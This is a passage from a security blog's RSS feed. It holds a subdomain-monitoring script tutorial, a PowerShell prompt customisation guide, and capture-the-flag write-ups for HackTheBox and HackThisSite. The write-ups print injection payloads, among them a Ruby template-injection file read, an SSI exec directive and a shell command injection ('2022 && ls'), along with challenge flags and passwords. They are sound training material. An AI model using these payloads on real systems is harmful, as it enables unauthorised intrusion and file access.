</span></span><span class="line"><span class="cl"><span class="nb">echo </span><span class="nv">$domain</span> <span class="p">|</span> <span class="n">haktrails</span> <span class="n">subdomains</span> <span class="p">|</span> <span class="nb">ForEach-Object</span> <span class="p">{</span> <span class="nv">$_</span><span class="p">.</span><span class="py">ToLower</span><span class="p">()</span> <span class="p">}</span> <span class="p">|</span> <span class="n">anew</span> <span class="nv">$file_name</span> <span class="p">|</span> <span class="n">notify</span> <span class="n">-bulk</span> <span class="n">-silent</span> <span class="n">-provider</span> <span class="n">discord</span>
</span></span></code></pre></div><h3 id="explanation">Explanation</h3>
<p>To find subdomains, use the commands <code>subfinder -d $domain -silent -nc -all</code> or <code>echo $domain | haktrails subdomains</code>. Then, use <code>tr '[:upper:]' '[:lower:]'</code> or <code>ForEach-Object { $_.ToLower() }</code> to convert the piped input to lowercase because domain names are case insensitive. This step is important as <code>anew</code> will treat different case text as different and we want to avoid duplicate results.</p>
<p>To append all new lines to a file that are not present in file, use the command <code>anew $file_name</code>.</p>
<p>Finally, to send the results to Discord, use the command <code>notify -bulk -silent -provider discord</code>. You can use any provider of your choice.</p>
<h2 id="continuous-monitoring">Continuous Monitoring</h2>
<p>Now that we have our script, we want to automatically run this script at certain intervals to continuously monitor the newly discovered subdomains. There are multiple ways to achieve this.</p>
<h3 id="scheduled-task-in-windows">Scheduled Task in windows</h3>
<p>In Windows, you can create a scheduled task to automatically run a PowerShell script at specific times or intervals. <br>
You can use the following PowerShell command to create a scheduled task that will run every Sunday at midnight.</p>
<ul>
<li>Save the PowerShell script as <code>monitor.ps1</code>.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$taskTrigger</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskTrigger</span> <span class="n">-Weekly</span> <span class="n">-At</span> <span class="mf">12</span><span class="err">:</span><span class="n">00AM</span> <span class="n">-DaysOfWeek</span> <span class="n">Sunday</span>
</span></span><span class="line"><span class="cl"><span class="nv">$Action</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskAction</span> <span class="n">-Execute</span> <span class="s2">&#34;C:\Program Files\PowerShell\7\pwsh.exe&#34;</span> <span class="n">-Argument</span> <span class="s2">&#34;path\to\monitor.ps1&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">Register-ScheduledTask</span> <span class="n">-TaskName</span> <span class="s2">&#34;Subdomain Monitoring&#34;</span> <span class="n">-Trigger</span> <span class="nv">$taskTrigger</span> <span class="n">-Action</span> <span class="nv">$Action</span>
</span></span></code></pre></div><h3 id="setup-cron-jobs-in-linux">Setup cron Jobs in Linux</h3>
<h4 id="basic-crontab-syntax">Basic Crontab Syntax</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">MIN HOUR DOM MON DOW CMD
</span></span></code></pre></div><ul>
<li><strong>MIN</strong> for minutes (0 - 59).</li>
<li><strong>HOUR</strong> for hours (0 - 23).</li>
<li><strong>DOM</strong> for day of the month (1 - 31).</li>
<li><strong>MON</strong> for month (1 - 12 or JAN - DEC).</li>
<li><strong>DOW</strong> for day of the week (0 - 7 or SUN - SAT).</li>
<li><strong>CMD</strong> command.</li>
</ul>
<p>Examples:</p>
<ul>
<li>Every Minute
<ul>
<li><code>* * * * * /path/to/script</code></li>
</ul>
</li>
<li>Every Day at Midnight
<ul>
<li><code>0 0 * * * /path/to/script</code></li>
</ul>
</li>
<li>Every 1st of the Month
<ul>
<li><code>0 0 1 * * /path/to/script</code></li>
</ul>
</li>
<li>Every Sunday at Midnight
<ul>
<li><code>0 0 * * 7 /path/to/script</code></li>
</ul>
</li>
<li>Every Weekday at 4 AM
<ul>
<li><code>0 4 * * 1-5 /path/to/script</code></li>
</ul>
</li>
<li>At 4 AM on Tuesdays and Thursdays
<ul>
<li><code>0 4 * * 2,4 /path/to/script</code></li>
</ul>
</li>
<li>Every 20 Minutes - Multiple Scripts
<ul>
<li><code>*/20 * * * * /path/to/script1; /path/to/script2</code></li>
</ul>
</li>
</ul>
<h4 id="cron-job-syntax">Cron job syntax</h4>
<p>Crontabs use the following flags for adding and listing cron jobs.</p>
<ul>
<li><code>crontab -e</code>
<ul>
<li>edits crontab entries to add, delete, or edit cron jobs.</li>
</ul>
</li>
<li><code>crontab -l</code>
<ul>
<li>list all the cron jobs for the current user.</li>
</ul>
</li>
</ul>
<p>Reference:</p>
<ul>
<li><a href="https://www.freecodecamp.org/news/cron-jobs-in-linux/">https://www.freecodecamp.org/news/cron-jobs-in-linux/</a></li>
<li><a href="https://phoenixnap.com/kb/set-up-cron-job-linux">https://phoenixnap.com/kb/set-up-cron-job-linux</a></li>
</ul>
<h3 id="loops">Loops</h3>
<p>You can also use an infinite loop with a <code>sleep</code> command to run the script at specific intervals.</p>
<p>Bash:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="k">while</span> :
</span></span><span class="line"><span class="cl"><span class="k">do</span>
</span></span><span class="line"><span class="cl">    ./monitor.sh <span class="c1"># Your script logic here</span>
</span></span><span class="line"><span class="cl">    sleep <span class="m">3600</span>   <span class="c1"># Wait for 1 hour</span>
</span></span><span class="line"><span class="cl"><span class="k">done</span>
</span></span></code></pre></div><p>PowerShell:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="k">while</span> <span class="p">(</span><span class="vm">$true</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c"># Your script logic here</span>
</span></span><span class="line"><span class="cl">    <span class="nb">Start-Sleep</span> <span class="n">-Seconds</span> <span class="p">(</span><span class="mf">4</span> <span class="p">*</span> <span class="mf">24</span> <span class="p">*</span> <span class="mf">60</span> <span class="p">*</span> <span class="mf">60</span><span class="p">)</span>  <span class="c"># Wait for 4 days</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><br>
<p>Thank you for reading this far. Happy hacking!</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Customize Windows command prompt like Kali Linux</title>
      <link>https://aftabsama.com/blog/customize-windows-command-prompt-like-kali-linux/</link>
      <pubDate>Tue, 09 Jul 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/customize-windows-command-prompt-like-kali-linux/</guid>
      <description>Set kali-Linux like command prompt in windows terminal.</description>
      <content:encoded><![CDATA[<p><img alt="windows terminal prompt image" loading="lazy" src="/blog/customize-windows-command-prompt-like-kali-linux/images/windows-terminal-prompt.webp#center"></p>
<p>In PowerShell, you can use the <code>ESC[&lt;n&gt;m</code> sequence to set the format of the screen and text. The <code>&lt;n&gt;</code> number represents different formatting modes.</p>
<p>Reference: <a href="https://learn.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences#text-formatting">Text Formatting</a></p>
<p><code>$([char]27)</code> is an ASCII character representing an escape character, and the code <code>0</code> for <code>&lt;n&gt;</code> will reset all attributes to the default state.</p>
<p>Code 32 will set Foreground to Green.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">echo </span><span class="s2">&#34;</span><span class="p">$([</span><span class="no">char</span><span class="p">]</span><span class="mf">27</span><span class="p">)</span><span class="s2">[32m Green Colour text </span><span class="p">$([</span><span class="no">char</span><span class="p">]</span><span class="mf">27</span><span class="p">)</span><span class="s2">[0m&#34;</span>
</span></span></code></pre></div><p><img alt="Foreground Green Colour text" loading="lazy" src="/blog/customize-windows-command-prompt-like-kali-linux/images/foreground-green.webp#center"></p>
<p>To see all the available colours run the following powershell code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$Colors</span> <span class="p">=</span> <span class="s1">&#39;30&#39;</span><span class="p">,</span><span class="s1">&#39;31&#39;</span><span class="p">,</span><span class="s1">&#39;32&#39;</span><span class="p">,</span><span class="s1">&#39;33&#39;</span><span class="p">,</span><span class="s1">&#39;34&#39;</span><span class="p">,</span><span class="s1">&#39;35&#39;</span><span class="p">,</span><span class="s1">&#39;36&#39;</span><span class="p">,</span><span class="s1">&#39;37&#39;</span><span class="p">,</span><span class="s1">&#39;38&#39;</span><span class="p">,</span><span class="s1">&#39;39&#39;</span><span class="p">,</span><span class="s1">&#39;90&#39;</span><span class="p">,</span><span class="s1">&#39;91&#39;</span><span class="p">,</span><span class="s1">&#39;92&#39;</span><span class="p">,</span><span class="s1">&#39;93&#39;</span><span class="p">,</span><span class="s1">&#39;94&#39;</span><span class="p">,</span><span class="s1">&#39;95&#39;</span><span class="p">,</span><span class="s1">&#39;96&#39;</span><span class="p">,</span><span class="s1">&#39;97&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">foreach</span> <span class="p">(</span><span class="nv">$Color</span> <span class="k">in</span> <span class="nv">$Colors</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo </span><span class="s2">&#34;</span><span class="p">$([</span><span class="no">char</span><span class="p">]</span><span class="mf">27</span><span class="p">)</span><span class="s2">[</span><span class="p">$(</span><span class="nv">$Color</span><span class="p">)</span><span class="s2">m colour code </span><span class="p">$(</span><span class="nv">$Color</span><span class="p">)</span><span class="s2"> </span><span class="p">$([</span><span class="no">char</span><span class="p">]</span><span class="mf">27</span><span class="p">)</span><span class="s2">[0m&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><img alt="All Foreground Colours" loading="lazy" src="/blog/customize-windows-command-prompt-like-kali-linux/images/all-foreground-colours.webp#center"></p>
<p>The &ldquo;`r`n&rdquo; sequence is eqivalent to <code>\n</code> newline character.
Environment variable <code>$env:UserName</code> and <code>$env:COMPUTERNAME</code> will print the username and computer name.</p>
<p>additionaly we can set the variable for <code>$([char]27)</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$ESC</span> <span class="p">=</span> <span class="p">[</span><span class="no">char</span><span class="p">]</span><span class="mf">27</span>
</span></span></code></pre></div><p>To test this, run the following command:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">echo </span><span class="s2">&#34;</span><span class="se">`r`n</span><span class="nv">$ESC</span><span class="s2">[32m┌──PS(</span><span class="nv">$ESC</span><span class="s2">[94m</span><span class="nv">$env:UserName</span><span class="s2">@</span><span class="nv">$env:COMPUTERNAME$ESC</span><span class="s2">[32m)-[</span><span class="nv">$ESC</span><span class="s2">[0m</span><span class="p">$(</span><span class="nb">Get-Location</span><span class="p">)</span><span class="nv">$ESC</span><span class="s2">[32m]</span><span class="se">`r`n</span><span class="s2">└─</span><span class="nv">$ESC</span><span class="s2">[94m$ </span><span class="nv">$ESC</span><span class="s2">[0m&#34;</span>
</span></span></code></pre></div><p><img alt="Test Custom Prompt" loading="lazy" src="/blog/customize-windows-command-prompt-like-kali-linux/images/test-custom-prompt.webp#center"></p>
<p>Now use the prompt function in PowerShell to set the command prompt prefix.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$ESC</span> <span class="p">=</span> <span class="p">[</span><span class="no">char</span><span class="p">]</span><span class="mf">27</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">prompt</span> <span class="p">{</span> <span class="s2">&#34;</span><span class="se">`r`n</span><span class="nv">$ESC</span><span class="s2">[32m┌──PS(</span><span class="nv">$ESC</span><span class="s2">[94m</span><span class="nv">$env:UserName</span><span class="s2">@</span><span class="nv">$env:COMPUTERNAME$ESC</span><span class="s2">[32m)-[</span><span class="nv">$ESC</span><span class="s2">[0m</span><span class="p">$(</span><span class="nb">Get-Location</span><span class="p">)</span><span class="nv">$ESC</span><span class="s2">[32m]</span><span class="se">`r`n</span><span class="s2">└─</span><span class="nv">$ESC</span><span class="s2">[94m$ </span><span class="nv">$ESC</span><span class="s2">[0m&#34;</span> <span class="p">}</span>
</span></span></code></pre></div><p><img alt="Set Custom Prompt" loading="lazy" src="/blog/customize-windows-command-prompt-like-kali-linux/images/set-custom-command-prompt.webp#center"></p>
<p>That’s it, Now we have a Kali Linux-like command prompt.</p>
<p>Additionally, you can add it to the PowerShell profile path to make it run at startup.</p>
<p>To get the profile path run:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$PROFILE</span><span class="p">.</span><span class="py">AllUsersAllHosts</span>
</span></span></code></pre></div><p>If you want to replace the Current User&rsquo;s Home directory with the <code>~</code> sign in the path, use the following command:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$ESC</span> <span class="p">=</span> <span class="p">[</span><span class="no">char</span><span class="p">]</span><span class="mf">27</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">prompt</span> <span class="p">{</span> <span class="s2">&#34;</span><span class="se">`r`n</span><span class="nv">$ESC</span><span class="s2">[32m┌──PS(</span><span class="nv">$ESC</span><span class="s2">[94m</span><span class="nv">$env:UserName</span><span class="s2">@</span><span class="nv">$env:COMPUTERNAME$ESC$ESC</span><span class="s2">[32m)-[</span><span class="nv">$ESC</span><span class="s2">[0m</span><span class="p">$(</span><span class="vm">$</span><span class="p">(</span><span class="nb">Get-Location</span><span class="p">)</span> <span class="o">-replace</span> <span class="s2">&#34;^</span><span class="p">$([</span><span class="no">regex</span><span class="p">]::</span><span class="n">Escape</span><span class="p">(</span><span class="nv">$HOME</span><span class="p">+</span><span class="s2">&#34;\&#34;</span><span class="p">))</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s1">&#39;~\&#39;</span> <span class="o">-replace</span> <span class="s2">&#34;^</span><span class="p">$([</span><span class="no">regex</span><span class="p">]::</span><span class="n">Escape</span><span class="p">(</span><span class="nv">$HOME</span><span class="p">))</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s1">&#39;~&#39;</span><span class="p">)</span><span class="nv">$ESC</span><span class="s2">[32m]</span><span class="se">`r`n</span><span class="s2">└─</span><span class="nv">$ESC</span><span class="s2">[94m$ </span><span class="nv">$ESC</span><span class="s2">[0m&#34;</span> <span class="p">}</span>
</span></span></code></pre></div><p><img alt="Custom Prompt with ~ sign" loading="lazy" src="/blog/customize-windows-command-prompt-like-kali-linux/images/custom-prompt-with-tilde-sign.webp#center"></p>
<br>
Happy Hacking
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Neonify - HackTheBox</title>
      <link>https://aftabsama.com/writeups/hackthebox/neonify-web/</link>
      <pubDate>Wed, 19 Jun 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthebox/neonify-web/</guid>
      <description>https://app.hackthebox.com/challenges/Neonify</description>
      <content:encoded><![CDATA[<hr>
<h3 id="challenge-description">Challenge Description</h3>
<p>It&rsquo;s time for a shiny new reveal for the first-ever text neonifier. Come test out our brand new website and make any text glow like a lo-fi neon tube!</p>
<h3 id="source-code">Source Code</h3>
<p>This is a simple web application written in Ruby. It will take the user input using the POST method and render it using a template.</p>
<p><img alt="source code" loading="lazy" src="/writeups/hackthebox/neonify-web/images/1.webp"></p>
<p><img alt="template file" loading="lazy" src="/writeups/hackthebox/neonify-web/images/2.webp"></p>
<p>But to achieve Template Injection, We need to pass the regex check else it will only render  &ldquo;Malicious Input Detected&rdquo; and not our input. <br>
The regex is <code>/^[0-9a-z ]+$/i</code>. It will check if the input is alphanumerical and spaces.</p>
<h3 id="bypass-the-regex-check">Bypass The Regex Check</h3>
<p>After a bit of research on Regular Expressions in Ruby, <code>^</code> Matches the beginning of a line, and <code>$</code> Matches the end of a line.
This means the regex won&rsquo;t match anything after the new line.</p>
<p>Reference: <a href="https://ruby-doc.com/docs/ProgrammingRuby/html/language.html#UL">https://ruby-doc.com/docs/ProgrammingRuby/html/language.html#UL</a></p>
<p>Now, We can give our payload after the <code>%0a</code>(URL encoded new line character). <br>
To read the file using Template-Injection, we can use a payload like <code>&lt;%= File.open('flag.txt').read %&gt;</code></p>
<p><img alt="flag" loading="lazy" src="/writeups/hackthebox/neonify-web/images/flag.webp"></p>
<p>Flag: <code>HTB{r3pl4c3m3n7_s3cur1ty}</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Basic Challenge Level 8</title>
      <link>https://aftabsama.com/writeups/hackthissite/basic-8/</link>
      <pubDate>Wed, 08 May 2024 17:30:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthissite/basic-8/</guid>
      <description>The password is yet again hidden in an unknown file. Sam&amp;#39;s daughter has begun learning PHP, and has a small script to demonstrate her knowledge. Requirements: Knowledge of SSI (dynamic html executed by the server, rather than the browser)</description>
      <content:encoded><![CDATA[<p><strong>Description:</strong></p>
<p>Sam remains confident that an obscured password file is still the best idea, but he screwed up with the calendar program in Basic 7. This time he has saved the unencrypted password file in <code>/var/www/hackthissite.org/html/missions/basic/8/</code>. Also, Sam&rsquo;s young daughter Stephanie has just learned to program in PHP. She&rsquo;s talented for her age, but she knows nothing about security. She recently learned about saving files, &amp; she wrote a script to demonstrate her ability.</p>
<p><strong>Requirements:</strong> SSI knowledge.</p>
<p><strong>Hints:</strong></p>
<ul>
<li>This challenge&rsquo;s logic is similar to Basic 7, but instead of UNIX commands it uses SSI.</li>
<li>When you play with Stephanie&rsquo;s script, pay attention to which directory the page that displays your input is in, &amp; remember which directory the description told you that the password file is in.</li>
</ul>
<p><strong>Difficulty:</strong> Easy.</p>
<p><strong>Points:</strong> 40</p>
<p><strong>Challenge Link:</strong> https://www.hackthissite.org/missions/basic/8</p>
<p><strong>Forum Link:</strong> https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10754</p>
<p><strong>Solution:</strong></p>
<p>From the description and requirements, we can get the idea that the SSI (Server Side Includes) directives are being used to generate dynamic content at the server side.</p>
<p>Here we can control the name input that is placed inside the file that have the <strong><em>.shtml</em></strong> extension so SSI injection can be possible.</p>
<p>We can use payload like &ldquo;<strong><em>&lt;! — #exec cmd=&ldquo;ls&rdquo; →</em></strong>&rdquo; to list the files but generated file are in &ldquo;<strong><em>missions/basic/8/tmp/</em></strong>&rdquo; directory but the password file that we are looking for is in &ldquo;<strong><em>missions/basic/8/</em></strong>&rdquo; directory so we have to go one step up. The payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&lt;!--#exec cmd=&#34;ls ../&#34; --&gt;
</span></span></code></pre></div><p>Output:</p>
<p><img alt="Level 8.1" loading="lazy" src="/writeups/hackthissite/basic-8/files/level-8-1.webp#center"></p>
<p>Visiting the path of &ldquo;<strong><em>au12ha39vc.php</em></strong>&rdquo; file we get the password for this challenge.</p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Basic Challenge Level 7</title>
      <link>https://aftabsama.com/writeups/hackthissite/basic-7/</link>
      <pubDate>Wed, 08 May 2024 16:30:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthissite/basic-7/</guid>
      <description>The password is hidden in an unknown file, and Sam has set up a script to display a calendar. Requirements: Basic UNIX command knowledge.</description>
      <content:encoded><![CDATA[<p><strong>Description:</strong></p>
<p>This time Sam has saved the unencrypted password in an obscurely named file saved in the challenge&rsquo;s directory. In other unrelated news, Sam has set up a script that returns the output from the UNIX <code>cal</code> command.</p>
<p><strong>Requirements:</strong></p>
<ul>
<li>Basic knowledge of UNIX commands.</li>
</ul>
<p><strong>Hints:</strong></p>
<ul>
<li>Remember, you need to find a way to see the files in the challenge&rsquo;s directory.</li>
<li>The calendar script takes user input &amp; runs the cal command with it. ​What if you could inject another command?</li>
<li>How can you separate commands in UNIX?</li>
</ul>
<p><strong>Difficulty:</strong> Easy.</p>
<p><strong>Points:</strong> 35</p>
<p><strong>Challenge Link:</strong> <a href="https://www.hackthissite.org/missions/basic/7">https://www.hackthissite.org/missions/basic/7</a></p>
<p><strong>Forum Link:</strong></p>
<ul>
<li><a href="https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10753">https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10753</a></li>
</ul>
<p><strong>Solution:</strong></p>
<p>The script will return the output from the UNIX <code>cal</code> command. In UNIX if our input is directly appended to the <code>cal</code> command than we can inject our own command using &ldquo;&amp;&amp;&rdquo; sequence and to list the files in the directory we can use <code>ls</code> command.</p>
<p>So to create a payload we have to pass a valid year + &amp;&amp; + ls.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">2022 &amp;&amp; ls
</span></span></code></pre></div><p><img alt="Level 7.1" loading="lazy" src="/writeups/hackthissite/basic-7/files/level-7-1.webp#center"></p>
<p>In this output we can see the obscurely named unencrypted password file <code>k1kh31b1n55h.php</code>, visiting this path we get the password for this challenge.</p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Basic Challenge Level 6</title>
      <link>https://aftabsama.com/writeups/hackthissite/basic-6/</link>
      <pubDate>Wed, 08 May 2024 15:30:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthissite/basic-6/</guid>
      <description>An encryption system has been set up, which uses an unknown algorithm to change the text given. Requirements: Persistence, some general cryptography knowledge.</description>
      <content:encoded><![CDATA[<p><strong>Description:</strong></p>
<ul>
<li>Sam has encrypted his password. The encryption system is publicly accessible.</li>
</ul>
<p><strong>Requirements:</strong></p>
<ul>
<li>General Cryptography knowledge &amp; common sense.</li>
</ul>
<p><strong>Hints:</strong></p>
<ul>
<li>Try encrypting some characters, to figure out how the encryption algorithm works. ​Start simple, like, try a small string consisting of the same character.</li>
</ul>
<p><strong>Difficulty:</strong> Easy.</p>
<p><strong>Points:</strong> 30</p>
<p><strong>Challenge Link:</strong> <a href="https://www.hackthissite.org/missions/basic/6">https://www.hackthissite.org/missions/basic/6</a></p>
<p><strong>Forum Link:</strong></p>
<ul>
<li><a href="https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10752">https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10752</a></li>
</ul>
<p><strong>Solution:</strong></p>
<p>In this challenge we have encrypted password and we can encrypt our own password.</p>
<p>By encrypting simple string like &lsquo;aaaa&rsquo; we get the encrypted version &lsquo;abcd&rsquo; from this pattern we can guess that the encryption algorithm is incrementing each character by one ASCII number in ascending order. We can write simple python programme to decrypt the encrypted password.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;Decrypted password: &#39;</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="s2">&#34;dgg&lt;=g=8&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">-</span><span class="n">i</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>Decrypted password: <code>dfe99b71</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Basic Challenge Level 5</title>
      <link>https://aftabsama.com/writeups/hackthissite/basic-5/</link>
      <pubDate>Wed, 08 May 2024 14:30:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthissite/basic-5/</guid>
      <description>Similar to the previous challenge, but with some extra security measures in place. Requirements: HTML knowledge, JS or FF, an email address.</description>
      <content:encoded><![CDATA[<p><strong>Description:</strong></p>
<p>Sam has gotten wise to all the people who wrote their own forms to get the password. Rather than actually learning the password, he decided to make his email program a little more secure.</p>
<p><strong>Requirements:</strong></p>
<ul>
<li>HTML knowledge &amp; an email address.</li>
</ul>
<p><strong>Hints:</strong></p>
<ul>
<li>The script sends the password to the administrator, but… who says it has to go to the administrator?</li>
</ul>
<p><strong>Difficulty:</strong> Easy.</p>
<p><strong>Points:</strong> 25</p>
<p><strong>Challenge Link:</strong> <a href="https://www.hackthissite.org/missions/basic/5">https://www.hackthissite.org/missions/basic/5</a></p>
<p><strong>Forum Link:</strong></p>
<ul>
<li><a href="https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10750">https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10750</a></li>
</ul>
<p><strong>Solution:</strong></p>
<p>Looking in the HTML source code for &ldquo;Send password to Sam&rdquo; form we find the one interesting hidden input field with name=&ldquo;to&rdquo; value=&ldquo;<a href="mailto:sam@hackthissite.org">sam@hackthissite.org</a>&rdquo;.</p>
<p><img alt="Level 5.1" loading="lazy" src="/writeups/hackthissite/basic-5/files/level-5-1.webp#center"></p>
<p>It seems that server will send the password to this email so we can change this to our own email address and we can receive the password.</p>
<p><img alt="Level 5.2" loading="lazy" src="/writeups/hackthissite/basic-5/files/level-5-2.webp#center"></p>
<p><img alt="Level 5.3" loading="lazy" src="/writeups/hackthissite/basic-5/files/level-5-3.webp#center"></p>
<p>And we successfully received the email with password.</p>
<p>Note: the email will only be sent if you provide your HackThisSite profile email address.</p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Basic Challenge Level 4</title>
      <link>https://aftabsama.com/writeups/hackthissite/basic-4/</link>
      <pubDate>Tue, 07 May 2024 16:30:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthissite/basic-4/</guid>
      <description>An email script has been set up, which sends the password to the administrator. Requirements: HTML knowledge, an email address</description>
      <content:encoded><![CDATA[<p><strong>Description:</strong></p>
<p>This time Sam hardcoded the password into the script. However, the password is long &amp; complex, &amp; Sam is often forgetful. So he wrote a script that would email his password to him automatically, in case he forgets it.</p>
<p><strong>Requirements:</strong></p>
<ul>
<li>HTML knowledge &amp; an email address.</li>
</ul>
<p><strong>Hints:</strong></p>
<ul>
<li>The script sends the password to the administrator, but… who says it has to go to the administrator?</li>
</ul>
<p><strong>Difficulty:</strong> Easy.</p>
<p><strong>Points:</strong> 20</p>
<p><strong>Challenge Link:</strong> <a href="https://www.hackthissite.org/missions/basic/4">https://www.hackthissite.org/missions/basic/4</a></p>
<p><strong>Forum Link:</strong></p>
<ul>
<li><a href="https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10749">https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10749</a></li>
</ul>
<p><strong>Solution:</strong></p>
<p>Looking in the HTML source code for &ldquo;Send password to Sam&rdquo; form we find the one interesting hidden input field with name=&ldquo;to&rdquo; value=&ldquo;<a href="mailto:sam@hackthissite.org">sam@hackthissite.org</a>&rdquo;.</p>
<p><img alt="Level 4.1" loading="lazy" src="/writeups/hackthissite/basic-4/files/level-4-1.webp#center"></p>
<p>It seems that server will send the password to this email so we can change this to our own email address and we can receive the password.</p>
<p><img alt="Level 4.2" loading="lazy" src="/writeups/hackthissite/basic-4/files/level-4-2.webp#center"></p>
<p>And we successfully received the email with password.</p>
<p>Note: the email will only be sent if you provide your HackThisSite profile email address.</p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Basic Challenge Level 3</title>
      <link>https://aftabsama.com/writeups/hackthissite/basic-3/</link>
      <pubDate>Tue, 07 May 2024 14:30:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthissite/basic-3/</guid>
      <description>Some intuition is needed to find the location of the hidden password file. Requirements: Basic HTML knowledge</description>
      <content:encoded><![CDATA[<p><strong>Description:</strong></p>
<ul>
<li>This time Sam remembered to upload the password file, but there were deeper problems than that.</li>
</ul>
<p><strong>Requirements:</strong></p>
<ul>
<li>Basic knowledge of HTML &amp; directory structure understanding.</li>
</ul>
<p><strong>Hints:</strong></p>
<ul>
<li>This time Sam remembered to upload the password file, so… maybe you can find it?</li>
</ul>
<p><strong>Difficulty:</strong> Easy.</p>
<p><strong>Points:</strong> 15</p>
<p><strong>Challenge Link:</strong> <a href="https://www.hackthissite.org/missions/basic/3">https://www.hackthissite.org/missions/basic/3</a></p>
<p><strong>Forum Link:</strong></p>
<ul>
<li><a href="https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10748">https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10748</a></li>
</ul>
<p><strong>Solution:</strong></p>
<p>Looking in the HTML source code for password submit form we find the one interesting hidden input field with name=&ldquo;file&rdquo; value=&ldquo;password.php&rdquo;.</p>
<p><img alt="Level 3 solution.1" loading="lazy" src="/writeups/hackthissite/basic-3/files/level-3-sol-1.webp#center"></p>
<p>Looks like the password file that Sam uploaded. Visiting this path, we can access the password.php file and it gives us the password that we are looking for.</p>
<p><img alt="Level 3 solution.2" loading="lazy" src="/writeups/hackthissite/basic-3/files/level-3-sol-2.webp#center"></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Basic Challenge Level 2</title>
